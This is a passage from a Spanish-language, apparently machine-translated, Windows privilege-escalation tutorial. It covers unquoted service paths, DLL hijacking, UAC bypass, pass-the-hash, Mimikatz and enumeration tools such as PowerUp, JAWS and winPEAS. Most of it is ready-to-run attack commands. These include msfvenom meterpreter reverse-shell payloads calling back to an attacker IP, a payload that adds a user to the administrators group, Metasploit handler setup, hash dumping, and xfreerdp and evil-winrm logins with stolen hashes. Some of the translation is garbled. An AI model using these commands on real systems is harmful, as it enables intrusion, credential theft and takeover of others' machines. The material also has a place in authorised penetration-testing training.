wmic service get name,displayname,pathname,startmode |findstr


/i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

Y hemos encontrado un nombre de servicio 'Exploitme.exe'

Crearemos una carga útil msfvenom para reemplazar ese PE


vulnerable

msfvenom -p windows/meterpreter/reverse_tcp
lhost=<AttackerIP> lport=<port> prependmigrate=true
prependmigrateprocess=explorer.exe -f exe >
/root/home/Desktop/Exploitme.exe
O también podemos crear una carga útil para cambiar
directamente un usuario a administrador

msfvenom -p windows/exec CMD='net localgroup administrators


boss /add' -f exe > /root/home/Desktop/Exploitme.exe

En el caparazón de destino

move Exploitme.exe Exploitme.exe.1

upload /root/Desktop/Exploitme.exe

reboot

sc stop "Exploitme.exe"

sc start "Exploitme.exe"

E inicie su escucha de múltiples / manejadores para obtener el


shell del sistema

use exploit/multi/handler

msf exploit(multi/handler) set payload


windows/meterpreter/reverse_tcp

msf exploit(multi/handler) set lhost <targetIP>

msf exploit(multi/handler) set lport <port>

msf exploit(multi/handler) exploit

Secuestro de DLL

Siempre que una aplicación se inicia en Windows, busca DLL


(bibliotecas de vínculos dinámicos) porque contiene datos, código
o recursos necesarios para la ejecución de aplicaciones.
Siempre que el aspecto de la aplicación necesite cargar DLL,
buscará

El directorio desde el que se carga la aplicación

C: \ Windows \ System32

C: \ Windows \ Sistema

C: \ Windows

El directorio de trabajo actual

Directorios en la variable de entorno PATH del sistema

Directorios en la variable de entorno PATH del usuario

¿Qué pasa si reemplazamos nuestra DLL maliciosa en la ruta?


Siempre que la aplicación busque una DLL, ejecutará una DLL de
carga útil maliciosa que nos dará un shell inverso.

Primero, tenemos que identificar el caso de un proceso en el que


una aplicación busca ejecutables usando la herramienta
de monitoreo de procesos.

Tenemos un nombre de servicio 'Hijackme.exe' que busca


hacker.dll

Explotemos el secuestro de DLL

Cree una carga útil DLL usando msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp
LHOST=<AttackerIP> -f dll>hacker.dll

cargue la carga útil en el sistema de destino y ubíquela en la


forma dll.
Después de eso, inicie multi / handler en el sistema del atacante y
explote.

¡¡¡Auge!!!

Obtendrá un shell como administrador.

Usando meterpreter también hay una función llamada


'Incoginito', podemos suplantarnos a otros tokens de usuario
válidos en esa máquina y convertirnos en ese usuario.

En meterpreter shell use el comando a continuación

use incoginito

Bypass de UAC con Meterpreter

El Control de cuentas de usuario o UAC para abreviar es una


característica de seguridad de Windows que ayuda a prevenir
cambios no autorizados en el sistema operativo.

Comprobemos UAC habilitado o no en el sistema de destino

Utilice el módulo de metasploit

post/windows/gather/win_privs

Después de confirmar, vamos a omitirlo.

search bypassuac

Hay muchos exploits que eligen según sus requisitos

exploit/windows/local/bypassuac_comhijack

Establezca opciones y explote y obtendrá un shell como


administrador

Pase el hash
Pass The Hash es la técnica mediante la cual puede explotar un
sistema directamente mediante su LM Hash.

Si está en el shell de meterpreter, puede ejecutar los siguientes


comandos

run hashdump

o smarthashdump como

post/windows/gather/smart_hashdump

O puede buscar otra técnica en metasploit

search hashdump

Elige lo que necesitas

Y si está en netcat o cryptcat shell, cargue secretdump.py, el


módulo de Impacket y ejecútelo en el sistema de destino,
obtendrá hash.

Ahora puede usar psexec.py y wmiexec.py para obtener acceso al


sistema, consulte la publicación de impacket para conocer este
enfoque.

Metasploit también tiene psexec, búsquelo, configure las opciones


y explótelo.

También puede obtener acceso rdp usando hash.

xfreerdp

Compruebe xfreerdp en su sistema o instálelo.

xfreerdp --help

Y usa la técnica de pasar el hash

xfreerdp /u:victim /d:Target /pth: <HASH> /v:<victimIP>


También podemos usar Mimikatz, que nos permite extraer
contraseñas de texto sin formato, tickets Kerberos, realizar
ataques pass-the-hash y mucho más.

También puede cargarlo en la carcasa del meterpreter.

load mimikatz

Y correr

wdigest

Evil-WinRM https://github.com/Hackplayers/evil-winrm

Este caparazón es el último caparazón de WinRM para piratería /


pentesting. WinRM (Windows Remote Management) es la
implementación de Microsoft del protocolo WS-Management. Un
protocolo estándar basado en SOAP que permite que el hardware
y los sistemas operativos de diferentes proveedores interoperen.
Microsoft lo incluyó en sus sistemas operativos para facilitar la
vida de los administradores de sistemas. Este programa se puede
usar en cualquier servidor de Microsoft Windows con esta función
habilitada (generalmente en el puerto 5985), por supuesto, solo si
tiene credenciales y permisos para usarlo. Entonces, podemos
decir que podría usarse en una fase de piratería / pentesting
posterior a la explotación. El propósito de este programa es
proporcionar características agradables y fáciles de usar para la
piratería. Los administradores del sistema también pueden usarlo
con fines legítimos, pero la mayoría de sus funciones se centran en
piratear / pentesting.

Característica

Compatible con sistemas cliente Linux y Windows

Cargar en memoria scripts de Powershell


Cargue archivos dll en la memoria sin pasar por algunos AV

Cargar en memoria ensamblados de C # (C Sharp) sin pasar por


algunos AV

Cargue cargas útiles x64 generadas con una impresionante


técnica de dona

Derivación AMSI

Soporte para pasar el hash

Soporte de autenticación Kerberos

Soporte SSL y certificados

Cargar y descargar archivos que muestran la barra de progreso

Enumere los servicios de máquinas remotas sin privilegios

Historial de comandos

Finalización del comando WinRM

Finalización de archivos locales

Coloración en mensajes de solicitud y salida (se puede deshabilitar


opcionalmente)

Compatibilidad con Docker (imágenes prediseñadas disponibles en


Dockerhub)

Captura de trampas para evitar la salida accidental del shell en


Ctrl + C

Usage: evil-winrm -i IP -u USER -s SCRIPTS_PATH -e EXES_PATH [-P


PORT] [-p PASS] [-U URL]

-i, --ip IP Remote host IP or hostname (required)


-P, --port PORT Remote host port (default 5985)

-u, --user USER Username (required)

-p, --password PASS Password

-s, --scripts PS_SCRIPTS_PATH Powershell scripts path


(required)

-e, --executables EXES_PATH C# executables path (required)

-U, --url URL Remote url endpoint (default /wsman)

-V, --version Show version

-h, --help Display this help message

Instalación

gem install evil-winrm

Uso

$ evil-winrm -i 192.168.1.100 -u Administrator -p


'MySuperSecr3tPass123!'

Usando hash

$ evil-winrm -i 192.168.1.100 -u Administrator -H<LM_HASH>

Secuencias de comandos automatizadas de Windows

Introducción
Hemos discutido los enfoques de escalado manual para el
escalado de privilegios en Windows, ahora en esto, discutiremos y
usaremos algunas herramientas y scripts para escalar nuestro
privilegio como usuario estándar.

Encender

PowerUp es una herramienta de PowerShell para ayudar con la


escalada de privilegios locales en sistemas Windows. Contiene
varios métodos para identificar y abusar de servicios vulnerables,
así como oportunidades de secuestro de DLL, configuraciones de
registro vulnerables y oportunidades de escalamiento.

Comprobaciones de encendido para

Privilegios actuales

Rutas de servicio no cotizadas

Permisos ejecutables del servicio

Permisos de servicio

% PATH% para ubicaciones DLL seccionables

AlwaysInstallElevated clave de registro

Credenciales de inicio de sesión automático en el registro

Configuraciones y ejecuciones automáticas de registro


modificables
Archivos / configuraciones de schtask modificables

Archivos de instalación desatendida

Cadenas web.config cifradas

Grupo de aplicaciones cifradas y contraseñas de directorio virtual

Contraseñas de texto sin formato en McAfee SiteList.xml

Archivos .xml de preferencias de directiva de grupo en caché

git clone //github.com/PowerShellMafia/PowerSploit.git

cd PowerSploit

ls

cd Privesc

ls

Cargue PowerShell en metasploit y luego importe el script de


descarga.

load powershell

powershell_import '/home/powesploit/Privesc/PowerUp.ps1'

powershell_execute Invoke-AllChecks

Enumerará el sistema de destino y le dará un resultado valioso

JAWS (Sólo otra secuencia de comandos de Windows (Enum)) No


solo comprueba la configuración incorrecta de la escalada de
privilegios, sino que también recopila información sobre la
situación actual.

Enumerará las características de destino para:

Funciones actuales
Información de red (interfaces, arp, netstat)

Estado y reglas del cortafuegos

Procesos corriendo

Archivos y carpetas con control total o modificar el acceso

Unidades mapeadas

Archivos potencialmente interesantes

Rutas de servicio no citadas

Documentos recientes

Archivos de instalación del sistema

Comprobación de la clave de registro AlwaysInstallElevated

Credenciales almacenadas

Aplicaciones instaladas

Servicios potencialmente vulnerables

Archivos MuiCache

Tareas programadas

Problemas conocidos

La salida de las reglas de firewall a veces se puede recortar.

Cuando se ejecuta desde un shell, el script no siempre le dice que


está terminado.

Cuando se ejecuta dentro de algunos shells inversos de


PowerShell, no se muestra el menú de ejecución.

Hacer
Agregue un listado completo de directorios con profundidad
definida por el usuario

Leer permisos de archivos SAM

Mejorar la producción

git clone //github.com/411Hall/JAWS.git

Cargue jaws-enum.ps1 en el sistema de destino

Y ejecutarlo en el shell de destino

powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -


OutputFilename EnumOutput.txt

Ahora abra el archivo EnumOutput.txt y encontrará su resultado.

Sherlock

Secuencia de comandos de PowerShell para encontrar


rápidamente los parches de software que faltan para las
vulnerabilidades de escalada de privilegios locales.

Clonarlo desde github en el sistema de ataque

git clone //github.com/rasta-mouse/Sherlock.git

Cargar powershell en metasploit

load powershell

Y ejecutarlo

powershell_import '/home/Desktop/Sherlock/Sherlock.ps1'

powershell_execute "find-allvulns"
Watson: enumere los KB que faltan y sugiera exploits para
vulnerabilidades útiles de Privilege
Escalation https://github.com/rasta-mouse/Watson

Watson es una herramienta .NET diseñada para enumerar los KB


que faltan y sugerir exploits para vulnerabilidades útiles de
Privilege Escalation.

Súbelo al sistema de destino y ejecútelo para obtener resultados.

Creador de vulnerabilidades de seguridad de Windows: próxima


generación

WES-NG es una herramienta basada en el resultado de la utilidad


systeminfo de Windows que proporciona la lista de
vulnerabilidades a las que el sistema operativo es vulnerable,
incluida cualquier vulnerabilidad para estas
vulnerabilidades. Todos los sistemas operativos Windows entre
Windows XP y Windows 10, incluidos sus homólogos de Windows
Server, son compatibles.

https://github.com/bitsadmin/wesng

Usar syteminfo > sysinfo.txtcomando

Y ejecutar wes.py sysinfo.txt

Y te dará resultado

BeRoot: herramienta de escalamiento de privilegios de Windows

BeRoot Project es una herramienta de explotación posterior para


comprobar las configuraciones erróneas comunes para encontrar
una manera de escalar nuestro privilegio. Se ha añadido al
proyecto pupy como módulo de post explotación (por lo que se
ejecutará en memoria sin tocar el disco). Funciona en Linux,
Windows y también en Macintosh.
git clone https://github.com/AlessandroZ/BeRoot.git

Súbelo al sistema de destino y ejecútelo.

winPEAS (secuencias de comandos impresionantes de


escalamiento de privilegios de Windows)

Verifica una posible ruta para escalar privilegios en el sistema


Windows. También viene en formato .bat en caso de que no se le
permita ejecutar el archivo .exe, entonces puede usar el formato
.bat de winPEAS para escalar sus privilegios. Realizará todas las
acciones que se supone que deben realizarse en el objetivo para
escalar sus privilegios.

https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/tree/master/winPEAS

También hay una 'herramienta de linux LinPEAS'

LinPEAS es un script que busca posibles rutas para escalar


privilegios en hosts Linux / Unix *

https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/tree/master/linPEAS

También podría gustarte